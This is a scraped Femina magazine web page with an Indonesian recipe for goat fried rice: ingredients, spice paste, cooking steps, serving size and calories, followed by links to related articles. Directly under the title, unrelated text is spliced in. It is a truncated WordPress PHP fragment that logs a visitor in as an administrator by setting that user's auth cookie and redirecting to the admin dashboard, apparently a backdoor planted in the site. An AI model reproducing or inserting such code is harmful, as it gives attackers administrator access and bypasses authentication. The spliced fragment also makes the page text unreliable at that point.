Resep Nasi Goreng Kambing Khas Nusantara, Mudah Dimasak dalam 30 Menit

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Easy Cooking

6 Jun 2025

Nasi Goreng Kambing yang harumnya tercium sampai ke mana-mana! Foto ilustrasi: Canva

Seusai Hari Raya Iduladha, banyak lingkungan pemukiman di penjuru Indonesia dihiasi aroma kambing yang menggoda.

Yap, inilah momen wajib menikmati beragam sajian dari daging kambing dan sapi (serta kerbau) dengan berbagai bumbu dan metode pengolahan.

Salah satu cara paling praktis dalam mengolah daging kambing adalah menjadikannya bintang seperti dalam Nasi Goreng Kambing Khas Nusantara ini.

Mudah dibuatnya, tak makan waktu lama (sekitar 30 menit), dan nyaris cocok untuk lidah siapa saja.

Tambahkan sedikit kari bubuk dan daun kari untuk rasa dan aroma yang lebih tajam, serta sajikan dengan potongan kol segar dan acara mentah yang segar. Nyam!

Bahan:
300 g daging kambing has, potong kotak 2 cm
3 sdm kecap manis
¾ sdt garam
5 sdm minyak sayur
800 g nasi putih
150 g lemak kambing, potong-potong
8 sdm minyak sayur
15 buah cabai rawit, iris kasar
5 batang bawang daun, iris 2 cm
150 g kol, iris

Bumbu, haluskan:
18 butir bawang merah
6 buah cabai merah

3 siung bawang putih
1½ sdt terasi bakar
1½ sdt merica bubuk
1½ sdt garam

Pelengkap:
Bawang goreng
Emping goreng
Acar mentah

Cara membuat:
1/ Lumuri daging kambing dengan 1 sdm kecap manis dan garam. Diamkan selama ± 5 menit. Sisihkan.

2/ Panaskan 2 sdm minyak, tumis daging kambing hingga berubah warna dan matang.

3/ Tambahkan sisa minyak, masukkan bumbu halus, tumis hingga harum. Masukkan lemak kambing, cabai rawit, dan bawang daun, aduk rata. Tambahkan sisa kecap manis, aduk.

4/ Masukkan nasi (jangan menggumpal), aduk hingga nasi tercampur rata dengan bumbu, masukkan kol, aduk terus hingga merata. Angkat. Sajikan disertai pelengkap. (f)

Untuk 6 porsi
Kalor per porsi: 638 kkal
Resep telah diuji coba di Dapur Uji Femina

Baca juga:
Ubi Brûlée Hits Dijual di Mana-Mana, Ini Resepnya
Madeleine, Inspirasi Baking untuk Menutup Weekend
Bubur Ayam Buatan Sendiri, Menu Sarapan yang Menghangatkan Perut

Topic
#kuliner , #nasigoreng

Nasgor Cikur

Nasi Goreng Cikur

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id